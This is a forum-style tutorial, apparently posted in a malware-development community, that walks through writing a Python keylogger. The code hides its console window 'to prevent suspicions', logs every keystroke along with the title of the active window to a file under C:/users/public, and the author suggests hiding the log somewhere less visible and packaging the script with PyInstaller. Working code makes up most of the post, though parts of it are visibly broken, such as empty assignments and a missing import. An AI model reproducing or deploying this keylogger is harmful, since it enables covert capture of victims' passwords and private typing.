Intrigued by the community here, I decided to start back at developing malware as I had went into a 2 year hybernation. I began by seeing what was developed here and how I could improve the solutions, I found tr4cefl0w and his two topic on the development of a keylogger with python. Being unfamiliar with the Windows API, I took a short dive and decided I was not going to be making any use of it with Python. I found the pip module
Keyboard that was briefly mentioned in the part 2 of tra4cefl0w’s malware writing.
Credits to tr4cefl0w for the beginning code. Decidedly, let’s get over to the development!
To begin you should create a folder for the project and a sub-folder named modules, create a file named
keyboard.py and open it in your preferred editor. It is also required you install the pip module
To begin we will import our base libraries, and hide the console to prevent suspicions.
import keyboard # For recording keystrokes from datetime import datetime # Optional, to record timestamps import ctypes # For interfacing with C functions # Required librairies kernel32 = ctypes.windll.kernel32 user32 = ctypes.windll.user32 # Hide console user32.ShowWindow(kernel32.GetConsoleWindow(), 0)
Next we will use the function written by tr4cefl0w,
def get_current_window(): # Function to grab the current window and its title GetForegroundWindow = user32.GetForegroundWindow GetWindowTextLength = user32.GetWindowTextLengthW GetWindowText = user32.GetWindowTextW hwnd = GetForegroundWindow() # Get handle to foreground window length = GetWindowTextLength(hwnd) # Get length of the window text in title bar buff = ctypes.create_unicode_buffer(length + 1) # Create buffer to store the window title string GetWindowText(hwnd, buff, length + 1) # Get window title and store in buff return buff.value # Return the value of buff
Finally, on to the code I have developed.
def get_timestamp(): # Optional, used later for writing timestamp to file. return(round(datetime.now().timestamp()))
def write_to(file, content): # Used later for writing to file file.write(content)
This is the meat of the code, and will be what we send keystrokes to.
def write_key(key): # key - name, scan_code, time global key_info # String of key info global key_list # List of key names global prev_window # Last window used window = get_current_window() if(window==prev_window): # If in same window, add to list of keys used in this window key_info.append(str(key.name) + " | " + " | " + str(round(key.time))) # Add key, scan code and timestamp to current list as string key_list.append(str(key.name)) # Add key name to list as string return # If not in same window, write keys to output file. content = "Date - " + str(datetime.now()) + " | Timestamp - " + str(get_timestamp()) + "\nWindow - " + str(get_current_window()) + "\nKeys - \n" + str("\n".join(key_info)) + "\n" + ", ".join(key_list) + "\n" out = open("c:/users/public/" + str(filename), "a") write_to(out, content) # Where the file should be stored and the name of the file filename = str("test.txt") directory = str(os.environ["windir"]) + "\\..\\users\\public\\" # Writing out.close() # Close the files key_info =  # Reset array key_list =  # Reset array prev_window = window # Reset the previous window to the current window key_info.append(str(key.name) + " | " + str(key.scan_code) + " | " + str(round(key.time))) # Update list with new key, scan code and timestamp key_list.append(str(key.name)) # Update list with key name
How the function works
- This function is first passed a key, each key has the attributes
- When passed the key, it is first checked if the user is still in the previous window, this is only useful when the function has been used once already.
- Next, checking if the keys are entered into the same function, the arrays
key_infostores the name of the key alongside the timestamp it was recorded to have been pushed at.
key_liststores the keys that have been entered in the current window.
- It then returns and waits for the next keystroke
- If the keys were pressed in a new window, the previous is skipped.
- The current date,
key_listare written to a variable named
- A file is opened with the option to append. For more information about this see here
- This file is stored in the public user directory, which all users can read or write to. You can change this location to somewhere more hidden if you’d like, later on.
- The variable
contentand variable pointing to the file,
outare then sent to the function
contentis written to the file.
- The file is then closed
- Now the arrays and current window can be safely reset
- Finally, the new key pressed is written to the arrays
- The current date,
This is called in the main file to prepare the script.
def prepare(): global key_info # String of key info global key_list # List of key names global prev_window # Last window used # Set up the arrays key_info =  key_list =  prev_window = str() keyboard.on_press(write_key) # When a key is pressed, call the write_key function keyboard.wait() # This prevents the script from ending and allows for the previous command to continue running.
from modules import keyboard # Import the file we just wrote if __name__ == '__main__': keyboard.filename = "log.txt" # This variable can be changed to any name you'd like your log file to have keyboard.prepare() # Call the prepare function to set up the keylogger.
You can use PyInstaller to create and executable with this code.